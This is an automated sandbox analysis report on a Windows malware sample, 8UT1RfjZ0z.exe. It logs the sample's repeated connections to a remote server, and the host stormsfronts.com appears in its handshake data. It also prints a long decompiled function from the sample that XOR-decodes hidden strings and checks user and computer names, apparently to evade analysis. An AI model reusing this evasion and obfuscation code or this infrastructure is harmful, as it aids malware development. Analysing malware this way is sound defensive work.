Okt 9, 2018 20:14:09.145879030 MESZ	90	IN	HTTP/1.1 400 Bad Request Date: Tue, 09 Oct 2018 18:14:09 GMT Server: Apache Content-Length: 19 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Invalid Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.0.42	49376	209.99.40.222	80	C:\Users\user\Desktop\8UT1RfjZ0z.exe

Timestamp	kBytes transferred	Direction	Data
Okt 9, 2018 20:14:09.302972078 MESZ	90	OUT	Data Raw: 16 03 01 00 7b 01 00 00 77 03 01 5b bc fe 00 c4 ee 97 4b 2e 12 10 c9 03 a6 a5 ed 9a d6 74 bc b1 09 bb a2 30 9f 85 aa ce 4f 19 48 00 00 1c c0 14 c0 13 00 39 00 33 00 35 00 2f c0 0a c0 09 00 38 00 32 00 0a 00 13 00 05 00 04 01 00 00 32 00 00 00 15 Data Ascii: {w[K.t0OH935/822stormsfronts.com
Okt 9, 2018 20:14:09.446203947 MESZ	91	IN	HTTP/1.1 400 Bad Request Date: Tue, 09 Oct 2018 18:14:09 GMT Server: Apache Content-Length: 19 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Invalid Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.0.42	49188	209.99.40.222	80	C:\Users\user\Desktop\8UT1RfjZ0z.exe

Timestamp	kBytes transferred	Direction	Data
Okt 9, 2018 20:10:30.477566957 MESZ	13	OUT	Data Raw: 16 03 00 00 35 01 00 00 31 03 00 5b bc fd 26 99 83 84 f6 55 d9 3c 4b 2e 63 be b7 27 0e a3 92 2c cb 4a 84 07 bd da 51 99 9e 30 7d 00 00 0a 00 0a 00 13 00 05 00 04 00 ff 01 00 Data Ascii: 51[&U<K.c',JQ0}
Okt 9, 2018 20:10:30.628326893 MESZ	14	IN	HTTP/1.1 400 Bad Request Date: Tue, 09 Oct 2018 18:10:30 GMT Server: Apache Content-Length: 19 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Invalid Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.0.42	49385	209.99.40.222	80	C:\Users\user\Desktop\8UT1RfjZ0z.exe

Timestamp	kBytes transferred	Direction	Data
Okt 9, 2018 20:14:26.999870062 MESZ	94	OUT	Data Raw: 16 03 01 00 7b 01 00 00 77 03 01 5b bc fe 12 2f 4a 59 e6 41 15 8a 56 14 60 3a 26 5b 3b 08 03 1e d2 77 f7 01 5f 0c d2 c4 76 e0 4d 00 00 1c c0 14 c0 13 00 39 00 33 00 35 00 2f c0 0a c0 09 00 38 00 32 00 0a 00 13 00 05 00 04 01 00 00 32 00 00 00 15 Data Ascii: {w[/JYAV`:&[;w_vM935/822stormsfronts.com
Okt 9, 2018 20:14:27.144835949 MESZ	94	IN	HTTP/1.1 400 Bad Request Date: Tue, 09 Oct 2018 18:14:27 GMT Server: Apache Content-Length: 19 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Invalid Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.0.42	49386	209.99.40.222	80	C:\Users\user\Desktop\8UT1RfjZ0z.exe

Timestamp	kBytes transferred	Direction	Data
Okt 9, 2018 20:14:27.295191050 MESZ	95	OUT	Data Raw: 16 03 00 00 35 01 00 00 31 03 00 5b bc fe 12 10 d6 30 35 71 25 90 d5 3c b9 ac bc c5 85 f0 7d 50 65 07 cf 37 a5 aa e1 f2 ed 46 32 00 00 0a 00 0a 00 13 00 05 00 04 00 ff 01 00 Data Ascii: 51[05q%<}Pe7F2
Okt 9, 2018 20:14:27.440280914 MESZ	95	IN	HTTP/1.1 400 Bad Request Date: Tue, 09 Oct 2018 18:14:27 GMT Server: Apache Content-Length: 19 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Invalid Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.0.42	49401	209.99.40.222	80	C:\Users\user\Desktop\8UT1RfjZ0z.exe

Timestamp	kBytes transferred	Direction	Data
Okt 9, 2018 20:14:44.968595028 MESZ	99	OUT	Data Raw: 16 03 00 00 35 01 00 00 31 03 00 5b bc fe 24 1d e3 fb fd b7 47 93 64 f0 60 9d c3 e3 ee 33 f6 eb 64 73 16 86 75 dd 94 54 23 a1 87 00 00 0a 00 0a 00 13 00 05 00 04 00 ff 01 00 Data Ascii: 51[$Gd`3dsuT#
Okt 9, 2018 20:14:45.112359047 MESZ	100	IN	HTTP/1.1 400 Bad Request Date: Tue, 09 Oct 2018 18:14:45 GMT Server: Apache Content-Length: 19 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Invalid Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.0.42	49402	209.99.40.222	80	C:\Users\user\Desktop\8UT1RfjZ0z.exe

Timestamp	kBytes transferred	Direction	Data
Okt 9, 2018 20:14:45.258635044 MESZ	100	OUT	Data Raw: 16 03 01 00 7b 01 00 00 77 03 01 5b bc fe 24 ea b2 7b 21 25 38 aa 03 fc 48 75 27 46 9f 55 30 9a 06 12 8c 7e 0e 0e b0 b3 99 e3 66 00 00 1c c0 14 c0 13 00 39 00 33 00 35 00 2f c0 0a c0 09 00 38 00 32 00 0a 00 13 00 05 00 04 01 00 00 32 00 00 00 15 Data Ascii: {w[${!%8Hu'FU0~f935/822stormsfronts.com
Okt 9, 2018 20:14:45.402733088 MESZ	101	IN	HTTP/1.1 400 Bad Request Date: Tue, 09 Oct 2018 18:14:45 GMT Server: Apache Content-Length: 19 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Invalid Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.0.42	49199	209.99.40.222	80	C:\Users\user\Desktop\8UT1RfjZ0z.exe

Timestamp	kBytes transferred	Direction	Data
Okt 9, 2018 20:10:47.955779076 MESZ	17	OUT	Data Raw: 16 03 00 00 35 01 00 00 31 03 00 5b bc fd 37 dd 51 72 e1 7b 93 27 88 f6 d1 fc 8e 8b c4 2f 68 93 12 9f 84 dc 2f b8 93 f2 71 48 fa 00 00 0a 00 0a 00 13 00 05 00 04 00 ff 01 00 Data Ascii: 51[7Qr{'/h/qH
Okt 9, 2018 20:10:48.099404097 MESZ	17	IN	HTTP/1.1 400 Bad Request Date: Tue, 09 Oct 2018 18:10:48 GMT Server: Apache Content-Length: 19 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Invalid Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.0.42	49200	209.99.40.222	80	C:\Users\user\Desktop\8UT1RfjZ0z.exe

Timestamp	kBytes transferred	Direction	Data
Okt 9, 2018 20:10:48.252856016 MESZ	18	OUT	Data Raw: 16 03 01 00 7b 01 00 00 77 03 01 5b bc fd 37 07 56 82 69 13 90 36 ba cb 44 ec ef 5e f8 79 ca a0 e9 00 de 2b 92 5f 4c a9 32 60 f5 00 00 1c c0 14 c0 13 00 39 00 33 00 35 00 2f c0 0a c0 09 00 38 00 32 00 0a 00 13 00 05 00 04 01 00 00 32 00 00 00 15 Data Ascii: {w[7Vi6D^y+_L2`935/822stormsfronts.com
Okt 9, 2018 20:10:48.397649050 MESZ	18	IN	HTTP/1.1 400 Bad Request Date: Tue, 09 Oct 2018 18:10:48 GMT Server: Apache Content-Length: 19 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Invalid Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.0.42	49209	209.99.40.222	80	C:\Users\user\Desktop\8UT1RfjZ0z.exe

Timestamp	kBytes transferred	Direction	Data
Okt 9, 2018 20:10:58.057859898 MESZ	21	OUT	Data Raw: 16 03 01 00 7b 01 00 00 77 03 01 5b bc fd 41 59 13 88 00 35 99 66 d7 09 34 dd a9 8c 2b 50 a5 1c eb e0 f9 54 39 bf 28 bf a2 fe 28 00 00 1c c0 14 c0 13 00 39 00 33 00 35 00 2f c0 0a c0 09 00 38 00 32 00 0a 00 13 00 05 00 04 01 00 00 32 00 00 00 15 Data Ascii: {w[AY5f4+PT9((935/822stormsfronts.com
Okt 9, 2018 20:10:58.202131987 MESZ	21	IN	HTTP/1.1 400 Bad Request Date: Tue, 09 Oct 2018 18:10:58 GMT Server: Apache Content-Length: 19 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Invalid Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.0.42	49210	209.99.40.222	80	C:\Users\user\Desktop\8UT1RfjZ0z.exe

Timestamp	kBytes transferred	Direction	Data
Okt 9, 2018 20:10:58.361099005 MESZ	22	OUT	Data Raw: 16 03 00 00 35 01 00 00 31 03 00 5b bc fd 41 78 76 88 0c 68 4f c5 f2 46 1a bb e5 93 8e e1 99 bf 53 21 d9 47 22 13 ca 45 3c 93 02 00 00 0a 00 0a 00 13 00 05 00 04 00 ff 01 00 Data Ascii: 51[AxvhOFS!G"E<
Okt 9, 2018 20:10:58.505141973 MESZ	22	IN	HTTP/1.1 400 Bad Request Date: Tue, 09 Oct 2018 18:10:58 GMT Server: Apache Content-Length: 19 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Invalid Request

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

System Behavior

Analysis Process: 8UT1RfjZ0z.exe PID: 4008 Parent PID: 3776

General

Start time:	20:09:40
Start date:	09/10/2018
Path:	C:\Users\user\Desktop\8UT1RfjZ0z.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\8UT1RfjZ0z.exe'
Imagebase:	0x400000
File size:	368640 bytes
MD5 hash:	0EE40DFB96795B73C6BC1EEF31E59356
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: 8UT1RfjZ0z.exe PID: 4008 Parent PID: 3776

Execution Graph

Execution Coverage:	18.3%
Dynamic/Decrypted Code Coverage:	3.1%
Signature Coverage:	35.7%
Total number of Nodes:	1901
Total number of Limit Nodes:	50

Executed Functions

Function 00404E60, Relevance: 503.6, APIs: 13, Strings: 274, Instructions: 1378
stringCrypto

C-Code - Quality: 63%

			E00404E60(void* __ecx, void* __eflags) {
				char _v5;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				char _v112;
				char _v116;
				char _v120;
				char _v121;
				char _v122;
				char _v123;
				char _v124;
				char _v128;
				char _v129;
				char _v130;
				char _v131;
				char _v132;
				char _v136;
				char _v137;
				char _v138;
				char _v139;
				char _v140;
				char _v144;
				char _v145;
				char _v146;
				char _v147;
				char _v148;
				char _v152;
				char _v153;
				char _v154;
				char _v155;
				char _v156;
				char _v160;
				char _v161;
				char _v162;
				char _v163;
				char _v164;
				char _v168;
				char _v169;
				char _v170;
				char _v171;
				char _v172;
				char _v176;
				char _v177;
				char _v178;
				char _v179;
				char _v180;
				char _v184;
				char _v185;
				char _v186;
				char _v187;
				char _v188;
				char _v192;
				char _v193;
				char _v194;
				char _v195;
				char _v196;
				char _v200;
				char _v201;
				char _v202;
				char _v203;
				char _v204;
				char _v208;
				char _v209;
				char _v210;
				char _v211;
				char _v212;
				char _v215;
				char _v216;
				char _v217;
				char _v218;
				char _v219;
				char _v220;
				char _v223;
				char _v224;
				char _v225;
				char _v226;
				char _v227;
				char _v228;
				char _v231;
				char _v232;
				char _v233;
				char _v234;
				char _v235;
				char _v236;
				char _v239;
				char _v240;
				char _v241;
				char _v242;
				char _v243;
				char _v244;
				char _v247;
				char _v248;
				char _v249;
				char _v250;
				char _v251;
				char _v252;
				char _v255;
				char _v256;
				char _v257;
				char _v258;
				char _v259;
				char _v260;
				char _v263;
				char _v264;
				char _v265;
				char _v266;
				char _v267;
				char _v268;
				char _v271;
				char _v272;
				char _v273;
				char _v274;
				char _v275;
				char _v276;
				char _v279;
				char _v280;
				char _v281;
				char _v282;
				char _v283;
				char _v284;
				char _v287;
				char _v288;
				char _v289;
				char _v290;
				char _v291;
				char _v292;
				char _v295;
				char _v296;
				char _v297;
				char _v298;
				char _v299;
				char _v300;
				char _v303;
				char _v304;
				char _v305;
				char _v306;
				char _v307;
				char _v308;
				char _v311;
				char _v312;
				char _v313;
				char _v314;
				char _v315;
				char _v316;
				char _v319;
				char _v320;
				char _v321;
				char _v322;
				char _v323;
				char _v324;
				char _v327;
				char _v328;
				char _v329;
				char _v330;
				char _v331;
				char _v332;
				char _v335;
				char _v336;
				char _v337;
				char _v338;
				char _v339;
				char _v340;
				char _v343;
				char _v344;
				char _v345;
				char _v346;
				char _v347;
				char _v348;
				char _v351;
				char _v352;
				char _v353;
				char _v354;
				char _v355;
				char _v356;
				char _v358;
				char _v359;
				char _v360;
				char _v361;
				char _v362;
				char _v363;
				char _v364;
				char _v365;
				char _v366;
				char _v367;
				char _v368;
				char _v369;
				char _v370;
				char _v371;
				char _v372;
				char _v373;
				char _v374;
				char _v375;
				char _v376;
				char _v377;
				char _v378;
				char _v379;
				char _v380;
				char _v381;
				char _v382;
				char _v383;
				char _v384;
				char _v385;
				char _v386;
				char _v387;
				char _v388;
				char _v390;
				char _v391;
				char _v392;
				char _v393;
				char _v394;
				char _v395;
				char _v396;
				char _v397;
				char _v398;
				char _v399;
				char _v400;
				char _v401;
				char _v402;
				char _v403;
				char _v404;
				char _v405;
				char _v406;
				char _v407;
				char _v408;
				char _v409;
				char _v410;
				char _v411;
				char _v412;
				char _v413;
				char _v414;
				char _v415;
				char _v416;
				char _v417;
				char _v418;
				char _v419;
				char _v420;
				char _v421;
				char _v422;
				char _v423;
				char _v424;
				char _v425;
				char _v426;
				char _v427;
				char _v428;
				char _v429;
				char _v430;
				char _v431;
				char _v432;
				char _v433;
				char _v434;
				char _v435;
				char _v436;
				char _v440;
				char _v441;
				char _v442;
				char _v443;
				char _v444;
				char _v445;
				char _v446;
				char _v447;
				char _v448;
				char _v449;
				char _v450;
				char _v451;
				char _v452;
				char _v453;
				char _v454;
				char _v455;
				char _v456;
				char _v460;
				char _v461;
				char _v462;
				char _v463;
				char _v464;
				char _v465;
				char _v466;
				char _v467;
				char _v468;
				char _v469;
				char _v470;
				char _v471;
				char _v472;
				char _v473;
				char _v474;
				char _v475;
				char _v476;
				char _v479;
				char _v480;
				char _v481;
				char _v482;
				char _v483;
				char _v484;
				char _v485;
				char _v486;
				char _v487;
				char _v488;
				char _v489;
				char _v490;
				char _v491;
				char _v492;
				char _v493;
				char _v494;
				char _v495;
				char _v496;
				char _v499;
				char _v500;
				char _v501;
				char _v502;
				char _v503;
				char _v504;
				char _v505;
				char _v506;
				char _v507;
				char _v508;
				char _v509;
				char _v510;
				char _v511;
				char _v512;
				char _v513;
				char _v514;
				char _v515;
				char _v516;
				char _v519;
				char _v520;
				char _v521;
				char _v522;
				char _v523;
				char _v524;
				char _v525;
				char _v526;
				char _v527;
				char _v528;
				char _v529;
				char _v530;
				char _v531;
				char _v532;
				char _v533;
				char _v534;
				char _v535;
				char _v536;
				char _v537;
				char _v538;
				char _v539;
				char _v540;
				char _v541;
				char _v542;
				char _v543;
				char _v544;
				char _v545;
				char _v546;
				char _v547;
				char _v548;
				char _v549;
				char _v550;
				char _v551;
				char _v552;
				char _v553;
				char _v554;
				char _v555;
				char _v556;
				char _v557;
				char _v558;
				char _v559;
				char _v560;
				char _v561;
				char _v562;
				char _v563;
				char _v564;
				char _v565;
				char _v566;
				char _v567;
				char _v568;
				char _v569;
				char _v570;
				char _v571;
				char _v572;
				char _v573;
				char _v574;
				char _v575;
				char _v576;
				char _v577;
				char _v578;
				char _v579;
				char _v580;
				char _v581;
				char _v582;
				char _v583;
				char _v584;
				char _v585;
				char _v586;
				char _v587;
				char _v588;
				char _v589;
				char _v590;
				char _v591;
				char _v592;
				char _v593;
				char _v594;
				char _v595;
				char _v596;
				char _v597;
				char _v598;
				char _v599;
				char _v600;
				char _v601;
				char _v602;
				char _v603;
				char _v604;
				char _v605;
				char _v606;
				char _v607;
				char _v608;
				char _v609;
				char _v610;
				char _v611;
				char _v612;
				char _v613;
				char _v614;
				char _v615;
				char _v616;
				char _v617;
				char _v618;
				char _v619;
				char _v620;
				char _v621;
				char _v622;
				char _v623;
				char _v624;
				char _v625;
				char _v626;
				char _v627;
				char _v628;
				char _v629;
				char _v630;
				char _v631;
				char _v632;
				char _v633;
				char _v634;
				char _v635;
				char _v636;
				char _v639;
				char _v640;
				char _v641;
				char _v642;
				char _v643;
				char _v644;
				char _v645;
				char _v646;
				char _v647;
				char _v648;
				char _v649;
				char _v650;
				char _v651;
				char _v652;
				char _v653;
				char _v654;
				char _v655;
				char _v656;
				char _v657;
				char _v658;
				char _v659;
				char _v660;
				char _v661;
				char _v662;
				char _v663;
				char _v664;
				char _v665;
				char _v666;
				char _v667;
				char _v668;
				char _v669;
				char _v670;
				char _v671;
				char _v672;
				char _v673;
				char _v674;
				char _v675;
				char _v676;
				char _v677;
				char _v678;
				char _v679;
				char _v680;
				char _v684;
				char _v688;
				char _v692;
				char _v696;
				char _v700;
				char _v704;
				char _v708;
				char _v712;
				char _v716;
				char _v720;
				char _v724;
				char _v728;
				char _v732;
				char _v736;
				char _v740;
				char _v744;
				long _v748;
				char _v752;
				char _v756;
				char _v760;
				char _v764;
				char _v768;
				char _v772;
				void* _t954;
				signed int _t957;
				signed int _t960;
				signed int _t961;
				signed int _t964;
				signed int _t967;
				signed int _t969;
				signed int _t973;
				signed int _t976;
				void* _t979;
				signed char _t981;
				void* _t999;
				signed char _t1001;
				signed int _t1004;
				void* _t1006;
				signed char _t1008;
				signed int _t1011;
				signed int _t1014;
				char* _t1017;
				signed int _t1080;
				signed int _t1271;
				signed int _t1276;
				signed int _t1285;
				signed int _t1299;
				signed int _t1304;
				signed int _t1309;
				signed int _t1314;
				signed int _t1319;
				signed int _t1324;
				signed int _t1329;
				signed int _t1338;
				signed int _t1343;
				signed int _t1348;
				signed int _t1353;
				signed int _t1362;
				signed int _t1367;
				signed int _t1376;
				signed int _t1398;
				signed int _t1405;
				signed int _t1409;
				signed int _t1413;
				signed int _t1436;
				signed int _t1452;
				signed int _t1462;
				void* _t1495;

				_t954 = E004048B0(__eflags); // executed
				_t1501 = _t954;
				if(_t954 != 0) {
					E00404D20(_t1501);
				}
				_v412 = 0x30;
				_v411 = 0x20;
				_v410 = 0x35;
				_v409 = 0x5e;
				_v408 = 0x56;
				_v407 = 0x38;
				_v406 = 0x32;
				_v405 = 0x7c;
				_v404 = 0x52;
				_v403 = 0x5f;
				_v402 = 0x38;
				_v401 = 0x42;
				_v140 = 0x54;
				_v139 = 0x42;
				_v138 = 0x52;
				_v137 = 0x36;
				_v136 = 0x33;
				E00402B00( &_v752, 0xc);
				_v12 = 0;
				while(_v12 < 0xc) {
					if(1 != 0) {
						_t25 = _v12 - 0x198; // 0x30
						asm("cdq");
						_t32 = _v12 % 5 - 0x88; // 0x54
						E00402AE0( &_v752, _v12,  *(_t1495 + _t25) & 0x000000ff ^  *(_t1495 + _t32) & 0x000000ff);
					}
					_v12 = _v12 + 1;
				}
				_t957 = GetModuleHandleA(E00402AD0( &_v752)); // executed
				__eflags = _t957;
				if(__eflags != 0) {
					E00404D20(__eflags);
				}
				_v424 = 0x38;
				_v423 = 0xe;
				_v422 = 0x59;
				_v421 = 0x12;
				_v420 = 0x2a;
				_v419 = 0x21;
				_v418 = 0x27;
				_v417 = 0x42;
				_v416 = 0x54;
				_v415 = 0x1b;
				_v414 = 0x22;
				_v413 = 0x4d;
				_v284 = 0x4b;
				_v283 = 0x6c;
				_v282 = 0x30;
				_v281 = 0x77;
				_v280 = 0x4e;
				_v279 = 0x4d;
				E00402B00( &_v756, 0xc);
				_v16 = 0;
				while(1) {
					__eflags = _v16 - 0xc;
					if(_v16 >= 0xc) {
						break;
					}
					__eflags = 1;
					if(1 != 0) {
						asm("cdq");
						_t68 = _v16 % 6 - 0x118; // 0x4b
						__eflags =  *(_t1495 + _v16 - 0x1a4) & 0x000000ff ^  *(_t1495 + _t68) & 0x000000ff;
						E00402AE0( &_v756, _v16,  *(_t1495 + _v16 - 0x1a4) & 0x000000ff ^  *(_t1495 + _t68) & 0x000000ff);
					}
					_t1376 = _v16 + 1;
					__eflags = _t1376;
					_v16 = _t1376;
				}
				_t960 = GetModuleHandleA(E00402AD0( &_v756)); // executed
				__eflags = _t960;
				if(__eflags != 0) {
					E00404D20(__eflags);
				}
				_v748 = 0x400;
				_t961 = GetUserNameA("Version 70.20.49.01.0C ",  &_v748); // executed
				__eflags = _t961;
				if(__eflags == 0) {
					E00404D20(__eflags);
				}
				_v436 = 0xc;
				_v435 = 0x1a;
				_v434 = 0x27;
				_v433 = 0x31;
				_v432 = 0x2b;
				_v431 = 0x5f;
				_v430 = 0x3b;
				_v429 = 0x3a;
				_v428 = 0x26;
				_v427 = 0x26;
				_v426 = 0x3c;
				_v425 = 0x31;
				_v276 = 0x4f;
				_v275 = 0x6f;
				_v274 = 0x55;
				_v273 = 0x43;
				_v272 = 0x4e;
				_v271 = 0x31;
				E00402B00( &_v760, 0xc);
				_v20 = 0;
				while(1) {
					__eflags = _v20 - 0xc;
					if(_v20 >= 0xc) {
						break;
					}
					__eflags = 1;
					if(1 != 0) {
						asm("cdq");
						_t106 = _v20 % 6 - 0x110; // 0x4f
						__eflags =  *(_t1495 + _v20 - 0x1b0) & 0x000000ff ^  *(_t1495 + _t106) & 0x000000ff;
						E00402AE0( &_v760, _v20,  *(_t1495 + _v20 - 0x1b0) & 0x000000ff ^  *(_t1495 + _t106) & 0x000000ff);
					}
					_t1462 = _v20 + 1;
					__eflags = _t1462;
					_v20 = _t1462;
				}
				_t964 = lstrcmpA("Version 70.20.49.01.0C ", E00402AD0( &_v760)); // executed
				__eflags = _t964;
				if(__eflags == 0) {
					E00404D20(__eflags);
				}
				_v372 = 0x22;
				_v371 = 0x30;
				_v370 = 7;
				_v369 = 0xb;
				_v368 = 0x21;
				_v367 = 0x38;
				_v366 = 9;
				_v365 = 0x51;
				_v268 = 0x71;
				_v267 = 0x51;
				_v266 = 0x69;
				_v265 = 0x6f;
				_v264 = 0x43;
				_v263 = 0x57;
				E00402B00( &_v684, 8);
				_v24 = 0;
				while(1) {
					__eflags = _v24 - 8;
					if(_v24 >= 8) {
						break;
					}
					__eflags = 1;
					if(1 != 0) {
						asm("cdq");
						_t138 = _v24 % 6 - 0x108; // 0x71
						__eflags =  *(_t1495 + _v24 - 0x170) & 0x000000ff ^  *(_t1495 + _t138) & 0x000000ff;
						E00402AE0( &_v684, _v24,  *(_t1495 + _v24 - 0x170) & 0x000000ff ^  *(_t1495 + _t138) & 0x000000ff);
					}
					_t1367 = _v24 + 1;
					__eflags = _t1367;
					_v24 = _t1367;
				}
				_t967 = lstrcmpA("Version 70.20.49.01.0C ", E00402AD0( &_v684)); // executed
				__eflags = _t967;
				if(__eflags == 0) {
					E00404D20(__eflags);
				}
				_v748 = 0x400;
				_v496 = 0x32;
				_v495 = 0x33;
				_v494 = 0x37;
				_v493 = 0x38;
				_v492 = 0x14;
				_v491 = 0x4a;
				_v490 = 0x46;
				_v489 = 0x46;
				_v488 = 0x4f;
				_v487 = 0x7a;
				_v486 = 0x23;
				_v485 = 0x33;
				_v484 = 0x28;
				_v483 = 0x38;
				_v482 = 0x15;
				_v481 = 0x4a;
				_v480 = 0x33;
				_v479 = 0x46;
				_v132 = 0x4a;
				_v131 = 0x33;
				_v130 = 0x46;
				_v129 = 0x38;
				_v128 = 0x7a;
				E00402B00( &_v768, 0x24);
				_v28 = 0;
				while(1) {
					__eflags = _v28 - 0x12;
					if(_v28 >= 0x12) {
						break;
					}
					__eflags = 1;
					if(1 != 0) {
						asm("cdq");
						_t180 = _v28 % 5 - 0x80; // 0x4a
						__eflags =  *(_t1495 + _v28 - 0x1ec) & 0x000000ff ^  *(_t1495 + _t180) & 0x000000ff;
						E00402AE0( &_v768, _v28,  *(_t1495 + _v28 - 0x1ec) & 0x000000ff ^  *(_t1495 + _t180) & 0x000000ff);
					}
					_t1362 = _v28 + 1;
					__eflags = _t1362;
					_v28 = _t1362;
				}
				_t969 = GetComputerNameA("Version 70.20.49.01.0C ",  &_v748); // executed
				__eflags = _t969;
				if(__eflags == 0) {
					E00404D20(__eflags);
				}
				_v516 = 0x40;
				_v515 = 0x57;
				_v514 = 0x10;
				_v513 = 0x36;
				_v512 = 0x16;
				_v511 = 0x37;
				_v510 = 0x40;
				_v509 = 0x57;
				_v508 = 0x19;
				_v507 = 0x36;
				_v506 = 0x45;
				_v505 = 0x37;
				_v504 = 0x47;
				_v503 = 0x57;
				_v502 = 0x46;
				_v501 = 0x36;
				_v500 = 0x65;
				_v499 = 0x37;
				_v260 = 0x62;
				_v259 = 0x57;
				_v258 = 0x35;
				_v257 = 0x36;
				_v256 = 0x65;
				_v255 = 0x37;
				E00402B00( &_v772, 0x24);
				_v32 = 0;
				while(1) {
					__eflags = _v32 - 0x12;
					if(_v32 >= 0x12) {
						break;
					}
					__eflags = 1;
					if(1 != 0) {
						asm("cdq");
						_t222 = _v32 % 6 - 0x100; // 0x62
						__eflags =  *(_t1495 + _v32 - 0x200) & 0x000000ff ^  *(_t1495 + _t222) & 0x000000ff;
						E00402AE0( &_v772, _v32,  *(_t1495 + _v32 - 0x200) & 0x000000ff ^  *(_t1495 + _t222) & 0x000000ff);
					}
					_t1452 = _v32 + 1;
					__eflags = _t1452;
					_v32 = _t1452;
				}
				_v380 = 0x31;
				_v379 = 0xb;
				_v378 = 0x36;
				_v377 = 0x26;
				_v376 = 0x34;
				_v375 = 0x3f;
				_v374 = 0x3a;
				_v373 = 0x4a;
				_v244 = 0x62;
				_v243 = 0x4a;
				_v242 = 0x78;
				_v241 = 0x62;
				_v240 = 0x76;
				_v239 = 0x70;
				E00402B00( &_v688, 8);
				_v36 = 0;
				while(1) {
					__eflags = _v36 - 8;
					if(_v36 >= 8) {
						break;
					}
					__eflags = 1;
					if(1 != 0) {
						asm("cdq");
						_t253 = _v36 % 6 - 0xf0; // 0x62
						__eflags =  *(_t1495 + _v36 - 0x178) & 0x000000ff ^  *(_t1495 + _t253) & 0x000000ff;
						E00402AE0( &_v688, _v36,  *(_t1495 + _v36 - 0x178) & 0x000000ff ^  *(_t1495 + _t253) & 0x000000ff);
					}
					_t1353 = _v36 + 1;
					__eflags = _t1353;
					_v36 = _t1353;
				}
				_t973 = lstrcmpA("Version 70.20.49.01.0C ", E00402AD0( &_v688)); // executed
				__eflags = _t973;
				if(__eflags == 0) {
					E00404D20(__eflags);
				}
				_v388 = 0x74;
				_v387 = 0x3e;
				_v386 = 0x20;
				_v385 = 0x18;
				_v384 = 0x20;
				_v383 = 8;
				_v382 = 2;
				_v381 = 0x6d;
				_v252 = 0x43;
				_v251 = 0x6d;
				_v250 = 0x69;
				_v249 = 0x54;
				_v248 = 0x76;
				_v247 = 0x41;
				E00402B00( &_v692, 8);
				_v40 = 0;
				while(1) {
					__eflags = _v40 - 8;
					if(_v40 >= 8) {
						break;
					}
					__eflags = 1;
					if(1 != 0) {
						asm("cdq");
						_t285 = _v40 % 6 - 0xf8; // 0x43
						__eflags =  *(_t1495 + _v40 - 0x180) & 0x000000ff ^  *(_t1495 + _t285) & 0x000000ff;
						E00402AE0( &_v692, _v40,  *(_t1495 + _v40 - 0x180) & 0x000000ff ^  *(_t1495 + _t285) & 0x000000ff);
					}
					_t1348 = _v40 + 1;
					__eflags = _t1348;
					_v40 = _t1348;
				}
				_t976 = lstrcmpA("Version 70.20.49.01.0C ", E00402AD0( &_v692)); // executed
				__eflags = _t976;
				if(__eflags == 0) {
					E00404D20(__eflags);
				}
				_v636 = 0x25;
				_v635 = 0x72;
				_v634 = 0x3d;
				_v633 = 0x27;
				_v632 = 0x21;
				_v631 = 0x17;
				_v630 = 0x3f;
				_v629 = 0x76;
				_v628 = 0x33;
				_v627 = 0x27;
				_v626 = 0x33;
				_v625 = 5;
				_v624 = 0x2e;
				_v623 = 0x61;
				_v622 = 0x26;
				_v621 = 0x33;
				_v620 = 0x22;
				_v619 = 0x1f;
				_v618 = 0x22;
				_v617 = 0x7d;
				_v616 = 0x33;
				_v615 = 0x30;
				_v614 = 0xf;
				_v613 = 0x25;
